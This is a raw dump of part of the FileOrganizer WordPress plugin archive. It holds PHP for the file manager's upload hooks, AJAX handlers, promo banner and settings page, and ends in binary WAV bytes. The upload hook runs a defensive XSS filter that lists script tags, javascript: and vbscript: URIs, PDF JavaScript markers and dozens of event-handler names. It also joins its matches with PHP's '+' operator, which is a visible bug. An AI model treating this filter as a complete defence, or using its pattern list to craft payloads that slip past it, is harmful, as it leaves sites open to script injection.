		'bind' => array(
			'mkdir' => function(&$path, &$name, $src, $elfinder, $volume){
				global $fileorganizer;

				if(empty($fileorganizer->options['enable_trash']) || empty($name['added']) || !is_array($name['added']) || empty($volume)){
					return;
				}

				foreach($name['added'] as $added){
					$dir_path = $volume->realpath($added['hash']);

					if(empty($dir_path) || strpos($dir_path, '.trash-') === FALSE){
						return;
					}

					if(!file_exists($dir_path . '/index.php')){
						file_put_contents($dir_path . '/index.php', '<?php //Silence is golden');
						chmod($dir_path . '/index.php', 0444);
					}
				}
			},
			'upload.presave' => function(&$path, &$name, $src, $elfinder, $volume) {
				
				if( !current_user_can('activate_plugins') ) {
					$validate = wp_check_filetype( $name );
				
					if( $validate['type'] == false ){
						return array( 'error' => __('File type is not allowed.', 'fileorganizer'));
					}
				}
				
				if( !current_user_can('unfiltered_html') ) {
					
					$content = file_get_contents($src);
					
					$is_xss = '';
					
					while(true){
						$found = fileorganizer_xss_content($content);
						
						if(strlen($found) > 0){
							
							// Check if the file is an SVG then allow 'svg', 'xml' tags
							if( in_array($found, array('svg', 'xml')) &&
								( mime_content_type($src) == 'image/svg+xml' ||
								in_array(pathinfo($name, PATHINFO_EXTENSION), array('svg', 'svgz') ) )
							){
								$content = str_replace($found, '', $content);
								continue;
							}
							
							$is_xss = $found;
						}
						
						break;
					}
					
					// Unfiltered_html cap needs to be checked
					if(strlen($is_xss) > 0 ){
						return array( 'error' => __('Following not allowed content found ').' : -"'. $is_xss .'" in file '.$name);
					}
					
				}
				
				return true;
			}

		)
	);

	// Load autoloader
	require FILEORGANIZER_DIR.'/manager/php/autoload.php';

	// Load FTP driver?
	if(defined('FILEORGANIZER_PRO') && !empty($fileorganizer->options['enable_ftp'])){	
		elFinder::$netDrivers['ftp'] = 'FTP';
	}
	
	// run elFinder
	$connector = new elFinderConnector(new elFinder($el_config));
	$connector->run();
}

// Change fileorganizer theme
add_action('wp_ajax_fileorganizer_switch_theme', 'fileorganizer_switch_theme');
function fileorganizer_switch_theme(){
	
	//Check nonce
	check_admin_referer( 'fileorganizer_ajax' , 'fileorganizer_nonce' );

	if(!current_user_can('manage_options')){
		wp_send_json(array( 'error' => 'Permision Denide!' ), 400);
	}

	$theme = fileorganizer_optpost('theme');

	$options = get_option('fileorganizer_options', array());
	$options['theme'] = $theme;
    update_option('fileorganizer_options', $options);
	
	$theme_path = !empty($theme) ? '/themes/'.$theme : '';
	
	// Return requested theme path
	$path = FILEORGANIZER_URL.'/manager'.$theme_path.'/css/theme.css';

	$response = array(
		'success' => true,
		'stylesheet' => $path
	);

	wp_send_json($response, 200);
}

add_action('wp_ajax_fileorganizer_hide_promo', 'fileorganizer_hide_promo');
function fileorganizer_hide_promo(){
	
	//Check nonce
	check_admin_referer( 'fileorganizer_promo_nonce' , 'security' );
	
	// Save value in minus
	update_option('fileorganizer_promo_time', (0 - time()));
	die('DONE');
}

// As per the JS specification
function fileorganizer_unescapeHTML($str){
	$replace = [
		'#93' => ']',
		'#91' => '[',
		//'#61' => '=',
		'lt' => '<',
		'gt' => '>',
		'quot' => '"',
		//'amp' => '&',
		'#39' => '\'',
		'#92' => '\\'
	];
	
	foreach($replace as $k => $v){
		$str = str_replace('&'.$k.';', $v, $str);
	}
	return $str;
}

// Check for XSS codes in our shortcodes submitted
function fileorganizer_xss_content($data){
	$data = fileorganizer_unescapeHTML($data);
	$data = preg_split('/\s/', $data);
	$data = implode('', $data);
	//echo $data;
	
	// For PDF file
	if(preg_match('/\/JavaScript/is', $data)){
		return '/JavaScript';
	}
	
	// This is also for PDF file
	if(preg_match('/\/JS/is', $data)){
		return '/JS';
	}
	
	if(preg_match('/["\']javascript\:/is', $data)){
		return 'javascript';
	}
	
	if(preg_match('/["\']vbscript\:/is', $data)){
		return 'vbscript';
	}
	
	if(preg_match('/\-moz\-binding\:/is', $data)){
		return '-moz-binding';
	}
	
	if(preg_match('/expression\(/is', $data)){
		return 'expression';
	}
	
	if(preg_match('/\<(iframe|frame|script|style|link|applet|embed|xml|svg|object|layer|ilayer|meta)/is', $data, $matches)){
		return $matches[1];
	}
	
	// These events not start with on
	$not_allowed = array('click', 'dblclick', 'mousedown', 'mousemove', 'mouseout', 'mouseover', 'mouseup', 'load', 'unload', 'change', 'submit', 'reset', 'select', 'blur', 'focus', 'keydown', 'keypress', 'keyup', 'afterprint', 'beforeprint', 'beforeunload', 'error', 'hashchange', 'message', 'offline', 'online', 'pagehide', 'pageshow', 'popstate', 'resize', 'storage', 'contextmenu', 'input', 'invalid', 'search', 'mousewheel', 'wheel', 'drag', 'dragend', 'dragenter', 'dragleave', 'dragover', 'dragstart', 'drop', 'scroll', 'copy', 'cut', 'paste', 'abort', 'canplay', 'canplaythrough', 'cuechange', 'durationchange', 'emptied', 'ended', 'loadeddata', 'loadedmetadata', 'loadstart', 'pause', 'play', 'playing', 'progress', 'ratechange', 'seeked', 'seeking', 'stalled', 'suspend', 'timeupdate', 'volumechange', 'waiting', 'toggle', 'animationstart', 'animationcancel', 'animationend', 'animationiteration', 'auxclick', 'beforeinput', 'beforematch', 'beforexrselect', 'compositionend', 'compositionstart', 'compositionupdate', 'contentvisibilityautostatechange', 'focusout', 'focusin', 'fullscreenchange', 'fullscreenerror', 'gotpointercapture', 'lostpointercapture', 'mouseenter', 'mouseleave', 'pointercancel', 'pointerdown', 'pointerenter', 'pointerleave', 'pointermove', 'pointerout', 'pointerover', 'pointerrawupdate', 'pointerup', 'scrollend', 'securitypolicyviolation', 'touchcancel', 'touchend', 'touchmove', 'touchstart', 'transitioncancel', 'transitionend', 'transitionrun', 'transitionstart', 'MozMousePixelScroll', 'DOMActivate', 'afterscriptexecute', 'beforescriptexecute', 'DOMMouseScroll', 'willreveal', 'gesturechange', 'gestureend', 'gesturestart', 'mouseforcechanged', 'mouseforcedown', 'mouseforceup', 'mouseforceup');
	
	$not_allowed = implode('|', $not_allowed);
		
	if(preg_match('/(on|onwebkit)+('.($not_allowed).')=/is', $data, $matches)){
		return $matches[1]+$matches[2];
	}
	
	return;
}PK���[ T�m��/wp-content/plugins/fileorganizer/main/promo.phpnu�[���<?php

if(!defined('ABSPATH')){
	die();
}

echo '
<style>
.fileorganizer_button {
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 8px 16px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
cursor: pointer;
}

.fileorganizer_button:focus{
border: none;
color: white;
}

.fileorganizer_button1 {
color: white;
background-color: #4CAF50;
border:3px solid #4CAF50;
}

.fileorganizer_button1:hover {
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
border:3px solid #4CAF50;
}

.fileorganizer_button2 {
color: white;
background-color: #0085ba;
}

.fileorganizer_button2:hover {
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}

.fileorganizer_button3 {
color: white;
background-color: #365899;
}

.fileorganizer_button3:hover {
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}

.fileorganizer_button4 {
color: white;
background-color: rgb(66, 184, 221);
}

.fileorganizer_button4:hover {
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}

.fileorganizer_promo-close{
float:right;
text-decoration:none;
margin: 5px 10px 0px 0px;
}

.fileorganizer_promo-close:hover{
color: red;
}

#fileorganizer_promo li {
list-style-position: inside;
list-style-type: circle;
}

.fileorganizer-loc-types {
display:flex;
flex-direction: row;
align-items:center;
flex-wrap: wrap;
}

.fileorganizer-loc-types li{
list-style-type:none !important;
margin-right: 10px;
}

</style>

<script>
jQuery(document).ready( function() {
	(function($) {
		$("#fileorganizer_promo .fileorganizer_promo-close").click(function(){
			var data;
			
			// Hide it
			$("#fileorganizer_promo").hide();
			
			// Save this preference
			$.get("'.esc_url(admin_url('admin-ajax.php?action=fileorganizer_hide_promo')).'&security='.esc_html(wp_create_nonce('fileorganizer_promo_nonce')).'", data, function(response) {
				//alert(response);
			});
		});
	})(jQuery);
});
</script>';

function fileorganizer_base_promo(){
	echo '<div class="notice notice-success" id="fileorganizer_promo" style="min-height:120px; background-color:#FFF; padding: 10px;">
	<a class="fileorganizer_promo-close" href="javascript:" aria-label="Dismiss this Notice">
		<span class="dashicons dashicons-dismiss"></span> Dismiss
	</a>
	<table>
	<tr>
		<th>
			<img src="'.esc_url(FILEORGANIZER_URL).'/images/logo.png" style="float:left; margin:10px 20px 10px 10px" width="100" />
		</th>
		<td>
			<p style="font-size:16px;">You have been using FileOrganizer for few days and we hope FileOrganizer is able to help you to manage files from your Website.<br/>
			If you like our plugin would you please show some love by doing actions like :
			</p>
			<p>
				<a class="fileorganizer_button fileorganizer_button1" target="_blank" href="https://fileorganizer.net/pricing">Upgrade to Pro</a>
				<a class="fileorganizer_button fileorganizer_button2" target="_blank" href="https://wordpress.org/support/view/plugin-reviews/fileorganizer">Rate it 5★\'s</a>
				<a class="fileorganizer_button fileorganizer_button3" target="_blank" href="https://www.facebook.com/fileorganizer/">Like Us on Facebook</a>
				<a class="fileorganizer_button fileorganizer_button4" target="_blank" href="https://twitter.com/intent/tweet?text='.rawurlencode('I easily manage my #WordPress #files using @fileorganizer - https://fileorganizer.net').'">Tweet about FileOrganizer</a>
			</p>
			<p style="font-size:16px">FileOrganizer Pro comes with features like <b>Allow User Roles, Change Upload Size, User Restrictions, User Role Restrictions, Email Alert etc.</b> that helps you to manage files more securely at multiple user level.</p>
	</td>
	</tr>
	</table>
</div>';
}

PK���[�bhDOO2wp-content/plugins/fileorganizer/main/settings.phpnu�[���<?php

/*
* FILEORGANIZER
* https://fileorganizer.net/
* (c) FileOrganizer Team
*/

global $fileorganizer;

if(!defined('FILEORGANIZER_VERSION')){
	die('Hacking Attempt!');
}

function fileorganizer_page_header($title = 'FileOrganizer'){
	wp_enqueue_style( 'forg-admin' );
	
	echo '<h2 class="fileorganizer-notices"></h2>
	<div class="fileorganizer-box-container" style="margin:0">
		<table class="fileorganizer-settings-header" cellpadding="2" cellspacing="1" width="100%" class="fixed" border="0">
			<tr>
				<td class="fileorganizer-td" valign="top">
					<img src="'.esc_url(FILEORGANIZER_URL) .'/images/logo.png">
					<h3 class="fileorganizer-heading">'.esc_html($title).'</h3>
				</td>
				<td align="right"><a target="_blank" class="button button-primary" href="https://wordpress.org/support/view/plugin-reviews/fileorganizer">Review FileOrganizer</a></td>
				<td align="right" width="40"><a target="_blank" href="https://twitter.com/fileorganizer"><img src="'.esc_url(FILEORGANIZER_URL).'/images/twitter.png" /></a></td>
				<td align="right" width="40"><a target="_blank" href="https://www.facebook.com/fileorganizer/"><img src="'.esc_url(FILEORGANIZER_URL).'/images/facebook.png" /></a></td>
			</tr>
		</table>
	</div>';

}

function fileorganizer_page_footer($no_twitter = 0){
	
	$promos = apply_filters('pagelayer_right_bar_promos', true);

	if($promos){

		echo '
		<div class="fileorganizer-promotion" style="width:100%;" >
			<div class="fileorganizer-promotion-content">
				<h2 class="fileorganizer-promotion-logo">
					<span><a target="_blank" href="https://pagelayer.com/?from=fileorganizer-plugin"><img src="'. esc_url(FILEORGANIZER_URL).'/images/pagelayer_product.png" width="100%"></a></span>
				</h2>
				<div>
					<em>The Best WordPress <b>Site Builder</b> </em>:<br>
					<ul style="font-size:13px;">
						<li>Drag &amp; Drop Editor</li>
						<li>Widgets</li>
						<li>In-line Editing</li>
						<li>Styling Options</li>
						<li>Animations</li>
						<li>Easily customizable</li>
						<li>Real Time Design</li>
						<li>And many more ...</li>
					</ul>
					<center><a class="button button-primary" target="_blank" href="https://pagelayer.com/?from=fileorganizer-plugin">Visit Pagelayer</a></center>
				</div>
			</div>

			<div class="fileorganizer-promotion-content">
				<h2 class="fileorganizer-promotion-logo">
					<span><a target="_blank" href="https://loginizer.com/?from=fileorganizer-plugin"><img src="'.esc_url(FILEORGANIZER_URL).'/images/loginizer_product.png" width="100%"></a></span>
				</h2>
				<div>
					<em>Protect your WordPress website from <b>unauthorized access and malware</b> </em>:<br>
					<ul style="font-size:13px;">
						<li>BruteForce Protection</li>
						<li>reCaptcha</li>
						<li>Two Factor Authentication</li>
						<li>Black/Whitelist IP</li>
						<li>Detailed Logs</li>
						<li>Extended Lockouts</li>
						<li>2FA via Email</li>
						<li>And many more ...</li>
					</ul>
					<center><a class="button button-primary" target="_blank" href="https://loginizer.com/?from=fileorganizer-plugin">Visit Loginizer</a></center>
				</div>
			</div>
		</div>';
		
	}

	echo '</div>
	</div>';

	if(empty($no_twitter)){
		echo '
		<div style="width:45%;background:#FFF;padding:15px; margin:40px auto">
			<b>'. esc_html__('Let your followers know that you use FileOrganizer to manage your wordpress files :').'</b>
			<form method="get" action="https://twitter.com/intent/tweet" id="tweet" onsubmit="return dotweet(this);">
				<textarea name="text" cols="45" row="3" style="resize:none;">'. esc_html__('I easily manage my #WordPress #files using @fileorganizer').'</textarea>
				&nbsp; &nbsp; <input type="submit" value="Tweet!" class="button button-primary" onsubmit="return false;" id="twitter-btn" style="margin-top:20px;">
			</form>	
		</div>';
	}
}


// fileorganizer Setting page
function fileorganizer_settings_page(){

	$options = get_option('fileorganizer_options');
	$options = empty($options) || !is_array($options) ? array() : $options;

	//Settings
	if(isset($_POST['save_settings'])){
		
		// Check nonce
		check_admin_referer('fileorganizer_settings');

		// General settings
		$path = fileorganizer_optpost('root_path');
		$disable_path_restriction = fileorganizer_optpost('disable_path_restriction');
		
		if(!defined('FILEORGANIZER_PRO') || empty($disable_path_restriction)){
			$verify = fileorganizer_validate_path($path);
			$path =  $verify ? $path : ABSPATH;
			if(!$verify){
				fileorganizer_notify(__('Invalid File Manager Path Detected!'), 'error');
			}
		}

		$options['root_path'] = fileorganizer_cleanpath($path);
		$options['default_view'] = fileorganizer_optpost('default_view');
		$options['default_lang'] = fileorganizer_optpost('default_lang');
		$options['hide_htaccess'] = fileorganizer_optpost('hide_htaccess');
		$options['enable_trash'] = fileorganizer_optpost('enable_trash');

		if(defined('FILEORGANIZER_PRO')){
			$options['user_roles'] = fileorganizer_optpost('user_roles');
			$options['disable_path_restriction'] = fileorganizer_optpost('disable_path_restriction');
			$options['max_upload_size'] = fileorganizer_optpost('max_upload_size');
			$options['enable_ftp'] = fileorganizer_optpost('enable_ftp');
		}

		if(update_option( 'fileorganizer_options', $options )){
			fileorganizer_notify(__('Settings saved successfully.'));
		}
	}

	$settings = get_option('fileorganizer_options', array());

	if( empty($settings) || !is_array($settings) ){
		$settings = array();
	}

?>
<div class="wrap">
	<?php fileorganizer_page_header('FileOrganizer'); ?>
	<div class="fileorganizer-setting-content">
		<form class="fileorganizer-settings fileorganizer-mr20" name="fileorganizer_settings" method="post" >
			<?php wp_nonce_field('fileorganizer_settings'); ?>
			<div class="tabs-wrapper">
				<h2 class="nav-tab-wrapper fileorganizer-wrapper">
					<a href="#fileorganizer-general" class="fileorganizer-nav-tab nav-tab nav-tab-active"><?php esc_html_e('General'); ?></a>
					<a href="#fileorganizer-advanced" class="fileorganizer-nav-tab nav-tab"><?php esc_html_e('Advanced'); ?></a>
					<a href="#fileorganizer-support" class="fileorganizer-nav-tab nav-tab "><?php esc_html_e('Support'); ?></a>
				</h2>

				<!-- General settings start -->
				<div class="fileorganizer-tab-panel" id="fileorganizer-general" style="display:block;">
					<table class="form-table">
						<tr>
							<th scope="row"><?php esc_html_e('File Manager Path'); ?></th>
							<td>
								<div class="fileorganizer-form-input">
									<input name="root_path" type="text" class="regular-text always_active" placeholder="<?php echo esc_attr(fileorganizer_cleanpath(ABSPATH)); ?>"  value="<?php if(!empty($settings['root_path'])){
										echo esc_attr($settings['root_path']);
									}?>"> 
									<p class="description">
										<?php echo wp_kses_post(__( 'Set file manager root path.<br> Default path is:').'<code>'.fileorganizer_cleanpath(ABSPATH).__('</code><br>Please change the path carefully. an incorrect path can cause the FileOrganizer plugin to goes down.'));
										?>
									</p>
									<?php 
									if(!defined('FILEORGANIZER_PRO')){
										echo '<p class="description"><b>';
										esc_html_e('Note: The free version does not allow setting a path outside your WordPress installation!');
										echo '</b></p>';
									} ?>
								</div>
							</td>
						</tr>
						<?php 
						if( defined('FILEORGANIZER_PRO') && (!is_multisite() || is_super_admin())){
						?>
						<tr>
							<th scope="row"><?php esc_html_e('File Manager Path Restriction'); ?></th>
							<td>
								<div class="fileorganizer-form-input">
									<label class="fileorganizer-switch">
										<input name="disable_path_restriction" type="checkbox" value="yes" <?php if(!empty($settings['disable_path_restriction'])){
											echo "checked";
										}?>>
										<span class="fileorganizer-slider fileorganizer-round"></span>
									</label>
									<p class="description">
										<?php 
											esc_html_e('Disable root path restriction.');
											echo '<br>'.esc_html__('Allow FileOrganizer to set a path outside of your WordPress installation.');
										?>
									</p>
								</div>
							</td>
						</tr>
						<?php 
						}
						?>
						<tr>
							<th scope="row"><?php esc_html_e('Files View'); ?></th>
							<td>
								<div class="fileorganizer-form-input">
									<?php $view = empty($settings['default_view']) ? '' : $settings['default_view']; ?>
									<select name='default_view'>
										<option <?php selected( $view , 'icons'); ?> value="icons"><?php esc_html_e('Icons'); ?></option>
										<option <?php selected( $view , 'list'); ?> value="list"><?php esc_html_e('List'); ?></option>
									</select>
									<p class="description"><?php esc_html_e( "Set default folder view." ); ?></p>
								</div>
							</td>
						</tr>
						<tr>
							<th scope="row"><?php esc_html_e('Select Language'); ?></th>
							<td>
								<?php
									$fileman_languages = [
										'English' => 'en',
										'العربية' => 'ar',
										'Български' => 'bg',
										'Català' => 'ca',
										'Čeština' => 'cs',
										'Dansk' => 'da',
										'Deutsch' => 'de',
										'Ελληνικά' => 'el',
										'Español' => 'es',
										'فارسی' => 'fa',
										'Føroyskt' => 'fo',
										'Français' => 'fr',
										'Français (Canada)' => 'fr_CA',
										'עברית' => 'he',
										'Hrvatski' => 'hr',
										'Magyar' => 'hu',
										'Bahasa Indonesia' => 'id',
										'Italiano' => 'it',
										'日本語' => 'ja',
										'한국어' => 'ko',
										'Nederlands' => 'nl',
										'Norsk' => 'no',
										'Polski' => 'pl',
										'Português' => 'pt_BR',
										'Română' => 'ro',
										'Pусский' => 'ru',
										'සිංහල' => 'si',
										'Slovenčina' => 'sk',
										'Slovenščina' => 'sl',
										'Srpski' => 'sr',
										'Svenska' => 'sv',
										'Türkçe' => 'tr',
										'ئۇيغۇرچە' => 'ug_CN',
										'Український' => 'uk',
										'Tiếng Việt' => 'vi',
										'简体中文' => 'zh_CN',
										'正體中文' => 'zh_TW',
									];
									
									$curlang = empty($settings['default_lang']) ? '' : $settings['default_lang'];
								?>
								<div class="fileorganizer-form-input">
									<select name='default_lang'>
										<?php 
											foreach( $fileman_languages as $lang => $code ){
												echo '<option '.(selected( $curlang , $code)).' value="'.esc_attr($code).'">'.esc_html($lang).'</option>';
											}
										?>
									</select>
									<p class="description"><?php esc_html_e( "Change the FileOrganizer default language." ); ?></p>
								</div>
							</td>
						</tr>
						<tr>
							<th scope="row"><?php esc_html_e('Hide .htaccess?'); ?></th>
							<td>
								<div class="fileorganizer-form-input">
									<label class="fileorganizer-switch">
										<input name="hide_htaccess" type="checkbox" value="yes" <?php if(!empty($settings['hide_htaccess'])){
											echo "checked";
										}?>>
										<span class="fileorganizer-slider fileorganizer-round"></span>
									</label>
									<p class="description"><?php esc_html_e( "Hide .htaccess file if exists." ); ?></p>
								</div>
							</td>
						</tr>
						<tr>
							<th scope="row"><?php esc_html_e('Enable Trash?'); ?></th>
							<td>
								<div class="fileorganizer-form-input">
									<label class="fileorganizer-switch">
										<input name="enable_trash" type="checkbox" value="yes" <?php if(!empty($settings['enable_trash'])){
											echo "checked";
										}?>>
										<span class="fileorganizer-slider fileorganizer-round"></span>
									</label>
									<p class="description">
										<?php 
										esc_html_e( "Enable trash to temporary  store files after deletion." );
										echo '<br>'.esc_html__('The trash files are saved in the following path.').'<br><code>'.esc_html(fileorganizer_cleanpath(wp_upload_dir()['basedir'].'/fileorganizer/.trash/')).'</code>'; 
										?>
									</p>
								</div>
							</td>
						</tr>
					</table>
					<p>
						<input type="submit" name="save_settings" class="button fileorganizer-button-primary" value="Save Changes">
					</p>
				</div>
				<!-- General settings end -->

				<!-- Advance settings start -->
				<div class="fileorganizer-tab-panel <?php echo !defined('FILEORGANIZER_PRO') ? 'fileorganizer-disabled-panel' : ''; ?>" id="fileorganizer-advanced">
					<?php if (!defined('FILEORGANIZER_PRO')){
							echo '
							<div class="fileorganizer-pro-overlay">
								<div class="fileorganizer-lock-content">
									<span class="dashicons dashicons-lock fileorganizer-lock-icon"></span>
									<label class="fileorganizer-lock-text">'. esc_html__("Available in Pro version!") .'</label>
								</div>
							</div>';
						} ?>
					<div class="fileorganizer-tab-panel-wrap">
						<table class="form-table">
							<tr>
								<th scope="row"><?php esc_html_e('Allowed User Roles'); ?></th>
								<td>
									<?php $roles = !empty($settings['user_roles']) ? $settings['user_roles'] : ''; ?>
									<div class="fileorganizer-form-input">
									<?php if(is_multisite()){ ?>
										<input name="user_roles[]" type="checkbox" value="administrator" <?php if(is_array($roles) && in_array('administrator', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Administrator" ); ?></span>&nbsp;&nbsp;
									<?php } ?>
										<input name="user_roles[]" type="checkbox" value="editor" <?php if(is_array($roles) && in_array('editor', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Editor" ); ?></span>&nbsp;&nbsp;

										<input name="user_roles[]" type="checkbox" value="author" <?php if(is_array($roles) && in_array('author', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Author" ); ?></span>&nbsp;&nbsp;

										<input name="user_roles[]" type="checkbox" value="contributor" <?php if(is_array($roles) && in_array('contributor', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Contributor" ); ?></span>&nbsp;&nbsp;

										<input name="user_roles[]" type="checkbox" value="subscriber" <?php if(is_array($roles) && in_array('subscriber', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Subscriber" ); ?></span>&nbsp;&nbsp;

										<input name="user_roles[]" type="checkbox" value="customer" <?php if(is_array($roles) && in_array('customer', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Customer" ); ?></span>&nbsp;&nbsp;

										<input name="user_roles[]" type="checkbox" value="shop_manager" <?php if(is_array($roles) && in_array('shop_manager', $roles)){
											echo "checked";
										}?>>
										<span class="description"><?php esc_html_e( "Shop Manager" ); ?></span>&nbsp;&nbsp;

										<p class="description">
											<?php echo esc_html__( 'Enabling access to the FileOrganizer for User Roles'); ?>
										</p>
										<p class="description notice notice-warning" style="padding:10px;">
											<?php printf(
												esc_html__( '%s: For selected user roles, this option provides full access to the File Manager, which may pose a security risk, especially for lower-level users. We strongly recommend setting appropriate restrictions before allowing access. You can manage access through %s and %s to ensure that appropriate security measures are in place.' ),
												'<strong>' . esc_html__( 'Important', 'fileorganizer' ) . '</strong>',
												'<a href="' . esc_url( admin_url( 'admin.php?page=fileorganizer-user-role-restrictions' ) ) . '" target="_blank">' . esc_html__( 'User Role Restrictions', 'fileorganizer' ) . '</a>',
												'<a href="' . esc_url( admin_url( 'admin.php?page=fileorganizer-user-restrictions' ) ) . '" target="_blank">' . esc_html__( 'User Restrictions', 'fileorganizer' ) . '</a>'
											); ?>
										</p>
									</div>
								</td>
							</tr>
							<tr>
								<th scope="row"><?php esc_html_e('Maximum Upload Size'); ?></th>
								<td>
									<div class="fileorganizer-form-input">
										<input name="max_upload_size" type="number" class="regular-text always_active" placeholder="0"  value="<?php  if(!empty($settings['max_upload_size'])){
											echo esc_attr($settings['max_upload_size']);
										}?>"> <?php esc_html_e('MB');  ?>
										<p class="description"><?php echo wp_kses_post( "Increase the maximum upload size if you are getting errors while uploading files.<br> Default: 0 means unlimited upload." ); ?></p>
									</div>
								</td>
							</tr>
							<tr>
								<th scope="row"><?php esc_html_e('Enable Network Volume'); ?></th>
								<td>
									<div class="fileorganizer-form-input">
										<label class="fileorganizer-switch">
											<input name="enable_ftp" type="checkbox" value="yes" <?php if(!empty($settings['enable_ftp'])){
												echo "checked";
											}?>>
											<span class="fileorganizer-slider fileorganizer-round"></span>
										</label>
										<p class="description"><?php esc_html_e( "Enable network volume." ); ?></p>
									</div>
								</td>
							</tr>
							<tr>
								<td>
									<input type="submit" name="save_settings" class="button fileorganizer-button-primary" value="Save Changes">
								</td>
							</tr>
						</table>
					</div>
				</div>
				<!-- Advance settings end -->
				<!-- Support tab start -->
				<div class="fileorganizer-tab-panel" id="fileorganizer-support">
					<div class="fileorganizer-tab-panel-wrap">
						<div style="width:70%; margin:20px auto; display:flex; justify-content:center; flex-direction:column; align-items:center; line-height:1.5;">
							<div style="display:flex">
								<img src="<?php echo esc_url(FILEORGANIZER_URL) .'/images/logo.png'?>" width="60"/>
								<span style="font-size:30px;font-weight:600;margin:auto;color:var(--primary)">FileOrganizer</span>
							</div>
							<h2><?php esc_html_e('You can contact the FileOrganizer Team via email. Our email address is', 'fileorganizer'); ?> <a href="mailto:support@fileorganizer.net">support@fileorganizer.net</a> <?php esc_html_e('or through Our Premium Support Ticket System at', 'fileorganizer'); ?> <a href="https://softaculous.deskuss.com" target="_blank"><?php esc_html_e('here'); ?></a></h2>
						</div>
					</div>
				</div>
				<!-- Support tab end -->
			</div>
		</form>
	<?php fileorganizer_page_footer(); ?>
<script>
jQuery(document).ready(function(){
	
	// Tabs Handler
	var tabs = jQuery('.fileorganizer-wrapper').find('.nav-tab');
	var tabsPanel = jQuery('.tabs-wrapper').find('.fileorganizer-tab-panel');

	function fileorganizer_load_tab(event){ 

		var hash  = window.location.hash;

		// No action needed when there is know hash value 
		if(!hash){
			return;
		}

		// Select elements
		jEle = jQuery(".nav-tab-wrapper").find("[href='" + hash + "']"); 

		if(jEle.length < 1){
			return;
		}
		
		// Remove active tab
		tabs.removeClass('nav-tab-active');
		tabsPanel.hide();
		
		// Make tab active
		jEle.addClass('nav-tab-active');
		jQuery('.tabs-wrapper').find(hash).show();

	}

	// Load function when hash value change
	jQuery( window ).on( 'hashchange', fileorganizer_load_tab);

	// Tabs load for First load
	fileorganizer_load_tab();
});

</script>
<?php
}PK���[Db�,h,h6wp-content/plugins/fileorganizer/manager/sounds/rm.wavnu�[���RIFF,hWAVEfmt "V�Xdatah��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������	����������������

���������������������������

������������������
�������! ������

!"������������()���������$$��������������%&��������	
����++����������	������%%44���������&&��������������%%����76�������������

??������

����BB**��������ED�������56ST��������FG$%��������EE������qq����������QR������??����44&&���������AAss??

��i�i�~�~�>>ttFF++��������		OO�������������������}}rr22��������HH����KLaa������**k�k���8800ii���������h�h�����aa������4�4�����IIAA8�8���������������������b�b�^�^�����������66��R�R�++����2�2�y�y�mm32������F�F�r�r�f�f�������EEW�W�)�)�������GG��������V�U�}�~�������45ba��D�D�����45������G�H�����������G�G�NM��__�������������9�;�������������;<������qs�����������V�X�[�Z���XX��;�<�0�/�'�(�K�L�_[������M�I���"����E�H�����~���������QX^�X�`�b�ef]�Z��������c�a�W�Z������CM!`�h�j�j���.�2�����<:����������;�B���`Y����,�&��������FKND������6�A�����LP����������u{��|���unmN_���iK������������;������s���I&KW����2#w�������t�~�6���������w�����;������0�k�a��a�'���S;������C�m�'����[,��|�V�;�e�X��;=��e��E��������lfaT����f�7��ekk���i�f�O���s�[
��h�k���v�����M����	(�\��h���uwY��$�����z�b)[��s1��7�T9�oK%���_�����1}�����$�~���)��K���������1�������.���C���2���������������(r�������Ii~�V�%w�2|���B���]���_����$���9���������b�
K��������3H�M���k�{�
iZ�����>�/����������i<�����A������Zj��%�4�����a���a
���M$�
~�d�����8��)T��i��(��%����~1�����]�Y�q�[�V���B��<E�
�2�^����`�'�P�y���(9���9�z��@�/���,�#�����3���~�!�'��,��ER�'���o����>`��+���I����������,��r�~�F��r�����K�����h��v���,�P�G'�w������)�����e�\�7���t���,g��@���,����������d��h���Y�
%	����b�
V���	�o���`�<���w��U,��^�v��1�)�����K�S��4��'��;�������T�Kb���{�������?�q�#���������:��#���g������s��N
_�����[���J��2����
-���T���,�a�����!�X>E��v�(]�*��c�8
���M�^����|������|i$�u��~�3�D���-����X��O��L��u��;��x�9V�'�E��b��b0�z!���X��M)��a�4U�f���)!������!�)���d�4#|�����}������L �t��R����v�c�����+���t'oFp������Y�_��������c�����
�������.8q�\������6c����)<,�"�~������	�x������)��������,0�0�������N�`�������7F������r|��f�x��������0)WU������@�@���������GW�{��G�G�D�H�x�n�>�H���������")����		������z����v�l�����>@���;<������Z_R�M�������������@D	��������������jg����B�?�,�/�! ��������78����D�C������������66��T�T�1�1�//������2�3���Z�Z�����.-T�U���RSN�N�����������C�B���ji����66����������������yzFE��22��%%eeNN������66ww23��0�/�	�
�������F�F�����������������dd����������'�'�����55�������
�
��������[�[�>�>�+�+�������������t�t���xx����88���������������YY-�-�����99m�m�B�B�������II����XX??GG��4�4���&�&�����rr��������������^^��55VVffbb��w�w�����^^��I�I�DD����@@������R�R���������{�{�����n�n�����������������d�d�

��00==C�C�--w�w�cc^^u�u�����������CC��]�]�����q�q�������NN����|�|�a�a���CC��oo����������i�i�^^������5�5�����

